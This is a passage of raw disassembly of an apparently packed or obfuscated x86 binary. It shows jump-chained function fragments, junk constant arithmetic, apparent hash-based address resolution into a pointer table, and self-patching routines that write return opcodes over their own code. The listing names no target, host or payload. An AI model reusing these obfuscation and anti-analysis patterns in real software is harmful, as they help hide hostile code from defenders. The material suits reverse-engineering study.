loc_74DD79: ; CODE XREF: sub_750243-B06Fj js loc_756FA5 mov eax, [ebp+var_C] jmp loc_753A40 ; END OF FUNCTION CHUNK FOR sub_750243 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746ED2 loc_74DD88: ; CODE XREF: sub_746ED2:loc_745B16j mov edx, [edx] push offset loc_755D15 jmp loc_756B61 ; END OF FUNCTION CHUNK FOR sub_746ED2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:off_41F0F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74DD9B: ; CODE XREF: sub_747736+B319j jmp loc_756D8E ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_74DDA0: ; CODE XREF: _0z4jwtox:0074C75Ej jmp loc_753DB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74DDA5: ; CODE XREF: sub_75497D:loc_748941j ; sub_752C39-A2DBj ... jb loc_75498B xchg ebp, [esp+8+var_8] mov edx, ebp jmp loc_7453CB ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- push 0B99BF022h pop eax xor eax, 2CAFF464h rol eax, 10h xor eax, 0F4327542h call sub_746E93 mov ds:dword_41F12C, eax jmp loc_755407 ; =============== S U B R O U T I N E ======================================= sub_74DDDA proc near ; CODE XREF: _0z4jwtox:0075400Bj ; _0z4jwtox:loc_7561C9p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi mov eax, [esp-4+arg_0] push edx push ebx push 81E3298Fh pop ebx jmp loc_748923 sub_74DDDA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74DDEE: ; CODE XREF: sub_74D23E-108Dj cmp ecx, edi jmp loc_75409B ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- sub eax, ebp sbb ebx, ecx jmp sub_74DE8D ; --------------------------------------------------------------------------- loc_74DDFE: ; CODE XREF: _0z4jwtox:00755945j cmp eax, 113776C1h jmp loc_74F1F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_74DE09: ; CODE XREF: sub_74698F-9D6j jl loc_745DD3 loc_74DE0F: ; CODE XREF: _0z4jwtox:0074DD0Bj jmp loc_754ACC ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- test ebx, 0E6A40927h jmp loc_74E995 ; =============== S U B R O U T I N E ======================================= sub_74DE1F proc near ; CODE XREF: sub_7554BB:loc_74D767j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074A9F1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007564C5 SIZE 00000005 BYTES push ebx rol ebx, 5 jmp loc_7564C5 sub_74DE1F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_751EFF loc_74DE28: ; CODE XREF: sub_751EFF:loc_7512E4j or dword ptr [eax-8], 8 ; END OF FUNCTION CHUNK FOR sub_751EFF ; START OF FUNCTION CHUNK FOR sub_74B719 loc_74DE2C: ; CODE XREF: sub_751EFF:loc_746EA8j ; sub_751EFF-B04Dj ... jo loc_74621B mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h loc_74DE3C: ; CODE XREF: sub_7567B4-1686j jz loc_7487BA mov eax, [ebp+8] jmp loc_74CC0F ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- loc_74DE4A: ; CODE XREF: _0z4jwtox:0074637Fj test ebx, 0E3AC3474h jmp loc_755CE0 ; =============== S U B R O U T I N E ======================================= sub_74DE55 proc near ; CODE XREF: sub_74A71A-9C8p ; _0z4jwtox:00755FD1j ; FUNCTION CHUNK AT 00748FC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00757732 SIZE 00000005 BYTES xchg ecx, [esp+0] loc_74DE58: ; CODE XREF: sub_7457DD:loc_750C69j pop ecx movzx edx, byte ptr [edx] or eax, edx mov [ebp-1Ch], eax loc_74DE61: ; CODE XREF: sub_74A71A:loc_749B06j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_757732 sub_74DE55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74DE6C proc near ; DATA XREF: _0z4jwtox:0074FDB9o ; FUNCTION CHUNK AT 00745ABE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00748842 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754741 SIZE 00000006 BYTES mov eax, [esp+0] push edx push 892C6673h pop edx and edx, 644856C8h add edx, 2AD05FCEh cmp edx, 79CEE6Ch jmp loc_748842 sub_74DE6C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74DE8D proc near ; CODE XREF: sub_74BFF8+13D1p ; _0z4jwtox:0074DDF9j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074D37B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add eax, 0EA17B6A9h popf xchg eax, [esp-8+arg_4] jmp loc_74D37B sub_74DE8D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74DEA0: ; CODE XREF: _0z4jwtox:00753D7Dj adc ecx, edi jge loc_754529 ; START OF FUNCTION CHUNK FOR sub_753D5F loc_74DEA8: ; CODE XREF: sub_753D5F+Cj add eax, 2944AD66h xchg eax, [esp+0] jmp sub_75364C ; END OF FUNCTION CHUNK FOR sub_753D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74DEB6: ; CODE XREF: sub_747AEC:loc_74D5B9j push 7D11C96Ch pop ecx sub ecx, 0CC10951Bh xor ecx, 503F81B9h rol ecx, 0Ah jmp loc_74B0CE ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_74DED0: ; CODE XREF: _0z4jwtox:007558F4j not edi jmp loc_74551E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_74DED7: ; CODE XREF: sub_74E762:loc_74D745j or eax, 0F93C8679h sub eax, 129F2889h add eax, 1955ED12h mov eax, [eax] or eax, eax jnz loc_747F80 jmp loc_74E25C ; END OF FUNCTION CHUNK FOR sub_74E762 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_74DEF9: ; CODE XREF: sub_74A71A+BE15j jmp loc_7458FB ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- cmp ebx, 0D260E087h jmp loc_7577C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74DF09: ; CODE XREF: sub_747C39:loc_751007j cmp al, 0A4h jz loc_750C69 jmp loc_75136A ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- loc_74DF16: ; CODE XREF: _0z4jwtox:007533B6j rol eax, 13h sub eax, 0B4DB56A8h jmp loc_753ECE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C98 loc_74DF24: ; CODE XREF: sub_748C98j mov eax, ds:dword_74AC54 or eax, eax jnz loc_74A008 jmp loc_752855 ; END OF FUNCTION CHUNK FOR sub_748C98 ; --------------------------------------------------------------------------- xchg ecx, edi adc edx, 0E3E1022Eh jmp sub_757151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74DF44: ; CODE XREF: sub_74673E:loc_746363j sub edi, 0C36E7896h xor edi, 0CAF66DD4h rol edi, 1Ah add edi, 2A85516Fh jmp loc_74D1EB ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_74DF5E proc near ; DATA XREF: _0z4jwtox:0074B134o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745F05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746F4E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00747157 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755CA8 SIZE 0000000D BYTES add eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-18h] shl eax, 2 cdq jmp loc_745F05 sub_74DF5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75100C loc_74DF71: ; CODE XREF: sub_75100C:loc_756B01j xchg edi, [esp+4+var_4] jmp loc_74A08A ; END OF FUNCTION CHUNK FOR sub_75100C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74DF79: ; CODE XREF: sub_747C22:loc_754ADFj pop edx xchg esi, [edx] jmp loc_748885 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- xchg ebx, [edi] jmp sub_755164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C45E loc_74DF88: ; CODE XREF: sub_74C45E:loc_7541E5j push 92B97A97h pop eax sub eax, 8B20D944h add eax, 0F8DBC082h xchg eax, [esp+0] jmp loc_74D376 ; END OF FUNCTION CHUNK FOR sub_74C45E ; --------------------------------------------------------------------------- loc_74DFA2: ; CODE XREF: _0z4jwtox:0074C40Ej jp loc_74D9C5 ; START OF FUNCTION CHUNK FOR sub_755F42 loc_74DFA8: ; CODE XREF: sub_755F42:loc_74C3FCj xor eax, 5FCE9425h call sub_746E93 push edi push 1C0EB88Ch jmp loc_752000 ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_74DFBE: ; CODE XREF: sub_74BD6F:loc_75597Fj xor eax, 7EBF0E8h loc_74DFC4: ; CODE XREF: sub_750638:loc_746427j sbb ebp, 57EA3040h cmp eax, ebx jmp loc_7483FC ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- mov ds:off_41F070, eax push offset sub_752FAC jmp loc_74B419 ; =============== S U B R O U T I N E ======================================= sub_74DFE1 proc near ; CODE XREF: _0z4jwtox:007464A7j ; sub_755C10-774Ap arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] jmp sub_746E93 sub_74DFE1 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756AA2 loc_74DFEE: ; CODE XREF: sub_756AA2-1165Bj jmp loc_7556B6 ; END OF FUNCTION CHUNK FOR sub_756AA2 ; =============== S U B R O U T I N E ======================================= sub_74DFF3 proc near ; CODE XREF: _0z4jwtox:0074A30Dj ; sub_7574E3-A21Bp ; FUNCTION CHUNK AT 0074940D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007548ED SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00756045 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075624F SIZE 00000015 BYTES xchg ecx, [esp+0] pop ecx push ebp mov ebp, edx jmp loc_74940D sub_74DFF3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7574E3 loc_74DFFF: ; CODE XREF: sub_7574E3:loc_74F29Aj add eax, 597FA2Ah xor eax, 6B2E4244h add eax, 570D2C7Eh call sub_746E93 jmp loc_74902D ; END OF FUNCTION CHUNK FOR sub_7574E3 ; --------------------------------------------------------------------------- loc_74E01B: ; DATA XREF: sub_752E0F-7AECo call sub_7510E4 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_16 pop ecx pop ecx pop ebp jmp loc_7500DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74E033: ; CODE XREF: sub_752D11-1E6Ej call sub_7541CF loc_74E038: ; CODE XREF: sub_74D23E+9636j jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_752D11 ; =============== S U B R O U T I N E ======================================= sub_74E03D proc near ; DATA XREF: sub_74B719:loc_749B3Ao ; FUNCTION CHUNK AT 007487CC SIZE 00000008 BYTES test byte ptr [eax-10h], 38h jnz loc_755B94 loc_74E047: ; CODE XREF: sub_756496:loc_753B15j mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jmp loc_7487CC sub_74E03D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_74E05A: ; CODE XREF: sub_750291-714Aj push 0F2E318E1h pop edi sub edi, 0CEB77BFAh add edi, 0DC48E139h xchg edi, [esp+8+var_8] jmp loc_749A2A ; END OF FUNCTION CHUNK FOR sub_750291 ; =============== S U B R O U T I N E ======================================= sub_74E074 proc near ; CODE XREF: _0z4jwtox:0075415Bj ; _0z4jwtox:007550CBp arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] jmp sub_746E93 sub_74E074 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_74E080: ; CODE XREF: sub_748B44:loc_74933Fj call sub_74D1F3 ; END OF FUNCTION CHUNK FOR sub_748B44 ; START OF FUNCTION CHUNK FOR sub_746145 loc_74E085: ; CODE XREF: sub_746145+Dj jmp loc_74A79F ; END OF FUNCTION CHUNK FOR sub_746145 ; --------------------------------------------------------------------------- loc_74E08A: ; CODE XREF: _0z4jwtox:loc_74FFE8j jz loc_7512A8 jmp loc_74BEB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74E095: ; CODE XREF: sub_74C874:loc_755AB5j push 6CF71C1Ah pop esi or esi, 0F81462FCh rol esi, 19h add esi, 248018Bh mov [esi], eax jmp loc_74961F ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757498 loc_74E0B1: ; CODE XREF: sub_757498:loc_7574ADj cmp eax, 0ED3EA633h jmp loc_74981A ; END OF FUNCTION CHUNK FOR sub_757498 ; --------------------------------------------------------------------------- loc_74E0BC: ; CODE XREF: _0z4jwtox:0074E484j jg loc_74BEE3 ; =============== S U B R O U T I N E ======================================= sub_74E0C2 proc near ; CODE XREF: sub_74E84B+Ap xchg edi, [esp+0] pop edi mov byte ptr [eax], 0C3h jmp sub_750715 sub_74E0C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750715 loc_74E0CE: ; CODE XREF: sub_750715j xchg ecx, [esp+0] mov edx, ecx pop ecx mov eax, [esp-4+arg_0] jmp loc_74FEC4 ; END OF FUNCTION CHUNK FOR sub_750715 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74E0DC: ; CODE XREF: sub_74F615-4871j cmp eax, 0C7BE1533h jmp loc_7574C8 ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745480 loc_74E0E7: ; CODE XREF: sub_745480+Cj mov ebx, ecx pop ecx retn ; END OF FUNCTION CHUNK FOR sub_745480 ; =============== S U B R O U T I N E ======================================= sub_74E0EB proc near ; CODE XREF: sub_7459B2:loc_7459B7j ; sub_7491FD+23D1p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074664A SIZE 0000000A BYTES push edx mov edx, edi xchg edx, [esp+4+var_4] mov edi, ebp jmp loc_74664A sub_74E0EB endp ; --------------------------------------------------------------------------- push ebx push 8AEDF6EAh pop ebx rol ebx, 2 or ebx, 0C4703AA8h jmp loc_7452EE ; --------------------------------------------------------------------------- and eax, 982219D6h jmp sub_74C074 ; --------------------------------------------------------------------------- loc_74E118: ; CODE XREF: _0z4jwtox:0074FD6Fj jle loc_756367 ; =============== S U B R O U T I N E ======================================= sub_74E11E proc near ; CODE XREF: sub_756974-9977p ; FUNCTION CHUNK AT 0074730A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074A88E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0074C286 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C855 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00753B29 SIZE 00000015 BYTES xchg edx, [esp+0] pop edx call sub_746E93 push edx push 2E2BBFC5h pop edx jmp loc_74730A sub_74E11E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746D0D loc_74E133: ; CODE XREF: sub_746D0D+Aj pop esi sub esi, 0D6A25D26h rol esi, 5 call sub_7508C4 ; END OF FUNCTION CHUNK FOR sub_746D0D ; START OF FUNCTION CHUNK FOR sub_745A78 loc_74E142: ; CODE XREF: sub_745A78+E782j jmp sub_757528 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_74E147: ; CODE XREF: sub_74946E+23DBj jmp loc_752701 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755892 loc_74E14C: ; CODE XREF: sub_755892-A6D8j jmp nullsub_240 ; END OF FUNCTION CHUNK FOR sub_755892 ; --------------------------------------------------------------------------- loc_74E151: ; CODE XREF: _0z4jwtox:00748C71j jmp loc_74B1BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_74E156: ; CODE XREF: sub_745C55+12Dj and eax, edx or eax, 0DF6C9ACEh jmp loc_7539C0 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- sub eax, edi cmp ecx, 587D6AFCh jmp loc_74A4AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7484F5 loc_74E170: ; CODE XREF: sub_7484F5+5j mov edx, eax xchg edx, [esp+0] mov eax, edx push offset loc_74FDB4 jmp loc_7560D8 ; END OF FUNCTION CHUNK FOR sub_7484F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B5B loc_74E181: ; CODE XREF: sub_755B5B:loc_757556j mov edx, 0CF0182F6h call sub_74BA29 mov ds:dword_75161C, eax loc_74E190: ; CODE XREF: _0z4jwtox:0074B239j ; sub_755B5B-1C2Bj ... mov eax, ds:dword_75161C call sub_746CF0 mov esp, ebp pop ebp push ds:dword_75161C jmp loc_7564C0 ; END OF FUNCTION CHUNK FOR sub_755B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74E1A8: ; CODE XREF: sub_74CBCF:loc_752755j shr edx, 17h adc eax, ebx mov [ebp+0], ebx popf jns loc_754A85 jmp loc_74B46B ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C68A loc_74E1BC: ; CODE XREF: sub_74C68A:loc_74CC14j push 88E3554Eh pop edx sub edx, 990BA683h rol edx, 14h add edx, 8E60F30h or edx, 56D09842h add edx, 87F86EFh jmp loc_74C598 ; END OF FUNCTION CHUNK FOR sub_74C68A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7554BB loc_74E1E2: ; CODE XREF: sub_7554BB-775Dj mov byte ptr [eax], 0C3h jmp sub_74BD26 ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- push edi push 2E20D564h pop edi or edi, 6A6CBD4Bh test edi, 1 jmp loc_757629 ; --------------------------------------------------------------------------- loc_74E202: ; CODE XREF: _0z4jwtox:0074BC8Bj pop esi ; =============== S U B R O U T I N E ======================================= sub_74E203 proc near ; CODE XREF: sub_746DB9+Ap xchg ebx, [esp+0] pop ebx xor eax, eax retn sub_74E203 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_74E20A: ; CODE XREF: sub_752957-2353j jmp loc_753855 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_74E20F: ; CODE XREF: sub_75275A:loc_747262j jmp loc_746A67 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74E214: ; CODE XREF: sub_747C39+2168j ; sub_747C39:loc_75776Dj ; DATA XREF: ... pop large dword ptr fs:0 jmp loc_755184 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- sbb edi, eax jg loc_7466DD jmp sub_745DB1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750202 loc_74E22E: ; CODE XREF: sub_750202+12j jmp loc_75344B ; END OF FUNCTION CHUNK FOR sub_750202 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_74E233: ; CODE XREF: sub_747C0C+4F44j jmp loc_74B4C4 ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- loc_74E238: ; CODE XREF: _0z4jwtox:00747D47j jmp loc_74AE9C ; --------------------------------------------------------------------------- js loc_7461F3 cmp edx, 0B6367A5Eh jmp loc_74917E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CA64 loc_74E24E: ; CODE XREF: sub_74CA64:loc_74ED35j mov [edi], eax pop edi pushf push offset loc_745B2C jmp loc_755629 ; END OF FUNCTION CHUNK FOR sub_74CA64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_74E25C: ; CODE XREF: sub_74E762-86Fj jz loc_749276 jmp loc_748646 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_74E267: ; CODE XREF: sub_749306+1F5Bj add edx, 0D92C0368h sub edx, 0A72A67F0h add edx, 685B23FBh add edx, ebp add edx, 12A498C9h mov edx, [edx] jmp loc_74EE9C ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_74E288: ; CODE XREF: sub_748BB8+3F64j mov edi, edx xchg edi, [esp+0] call sub_750C4E mov eax, 0D53D974Bh call sub_746E93 mov ds:off_41F04C, eax lea eax, sub_748BB8 mov byte ptr [eax], 0C3h jmp sub_748BB8 ; END OF FUNCTION CHUNK FOR sub_748BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74E2B0: ; CODE XREF: sub_752D11-1F42j mov [ebp-10h], eax cmp dword ptr [ebp-4], 0 jz loc_75276D jmp loc_746EFB ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74E2C2: ; CODE XREF: sub_756D58:loc_749344j ; sub_757151-C9DFj ... pop edx jnz loc_756D66 mov eax, [esp-8+arg_4] push edx call sub_753D0E push 506C3BD3h pop eax add eax, 4FE50833h jmp loc_74728B ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74E2E3: ; CODE XREF: sub_7473D1:loc_7451BCj jb loc_7550A6 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74E2E9: ; CODE XREF: sub_74FE55-5A9Ej push esi popf rol ebp, 1Ch jmp loc_74C6D2 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- adc ecx, edx loc_74E2F6: ; CODE XREF: _0z4jwtox:0074B7C8j mov [eax], edx jmp sub_75609F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529BD loc_74E2FD: ; CODE XREF: sub_7529BD+14j test eax, 1000h jmp loc_755DDF ; END OF FUNCTION CHUNK FOR sub_7529BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74E308: ; CODE XREF: sub_7561AB-8713j call sub_747892 mov eax, [esp+0] push ecx push 0AA17790Ch pop ecx jmp loc_751F42 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- loc_74E31C: ; CODE XREF: _0z4jwtox:007528A9j mov ebx, edx xchg ebx, [esp] push edi mov edi, ebx jmp loc_751508 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_74E329: ; CODE XREF: sub_750638:loc_755F3Dj jz loc_746414 jmp loc_751069 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- or ebp, edi jmp sub_7535B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74E33B: ; CODE XREF: sub_757151:loc_74728Bj xor eax, 0E8436B64h push edx pushf push 8B093946h jmp loc_74B385 ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74E34D: ; CODE XREF: sub_74F78B-7DBDj or eax, 14DD3A6h sub eax, 0DE8587CFh or eax, 0CDBA3416h add eax, 0B9F0E480h call sub_7453FB ; END OF FUNCTION CHUNK FOR sub_74F78B ; START OF FUNCTION CHUNK FOR sub_753FCE loc_74E36A: ; CODE XREF: sub_753FCE+12j sub al, 99h mov edx, [ebp-4] push offset sub_74BD6F jmp loc_750993 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- mov eax, 0D1CB0F56h call sub_746E93 mov ds:dword_41F10C, eax lea eax, nullsub_13 mov byte ptr [eax], 0C3h jmp nullsub_13 ; --------------------------------------------------------------------------- call sub_7467F4 jmp ds:dword_41F110 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_74E3A2: ; CODE XREF: sub_7514AC:loc_7556FFj jmp loc_74B1EF ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74890C loc_74E3A7: ; CODE XREF: sub_74890C+7j jmp sub_74A96E ; END OF FUNCTION CHUNK FOR sub_74890C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_74E3AC: ; CODE XREF: sub_7514AC-9E90j jmp loc_754064 ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745462 loc_74E3B1: ; CODE XREF: _0z4jwtox:00745DACj ; sub_745462+47CDj add edx, 9DE49C1Bh xchg edx, [esp+4+var_4] jmp sub_7570B1 ; END OF FUNCTION CHUNK FOR sub_745462 ; --------------------------------------------------------------------------- sub edx, eax or edx, 80EBC76h jmp loc_749A86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749D75 loc_74E3CC: ; CODE XREF: sub_749D75+Bj pop esi ; END OF FUNCTION CHUNK FOR sub_749D75 ; START OF FUNCTION CHUNK FOR sub_75299B loc_74E3CD: ; CODE XREF: sub_75299B:loc_747EF9j xor esi, 0D2E36BB1h add esi, 65A93DD3h xchg esi, [esp+0] jmp loc_746368 ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_74E3E1: ; CODE XREF: sub_752DF2-AFAj popf jmp loc_755C8F ; END OF FUNCTION CHUNK FOR sub_752DF2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_74E3E8: ; CODE XREF: sub_748B52:loc_7576F5j jmp loc_7484CF ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535B3 loc_74E3ED: ; CODE XREF: sub_7535B3+9j jmp loc_754EB0 ; END OF FUNCTION CHUNK FOR sub_7535B3 ; --------------------------------------------------------------------------- loc_74E3F2: ; CODE XREF: _0z4jwtox:007485B9j jmp loc_74CE0B ; =============== S U B R O U T I N E ======================================= sub_74E3F7 proc near ; CODE XREF: _0z4jwtox:0074D0C9j ; sub_749306+C285p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00747CF4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074D112 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074FD05 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007503B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753181 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 007535EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007573FC SIZE 00000005 BYTES xchg edx, [esp+0] loc_74E3FA: ; CODE XREF: _0z4jwtox:loc_74F7CEj pop edx imul byte ptr [edx] cmp al, 0A4h jz loc_747CF4 jmp loc_7573FC sub_74E3F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74E40A proc near ; DATA XREF: sub_74946E-3CF8o ; FUNCTION CHUNK AT 00748DF5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074C114 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753A05 SIZE 00000012 BYTES ror eax, 15h push esi push 0F9300680h pop esi xor esi, 0E3B080D5h rol esi, 0Ch jmp loc_753A05 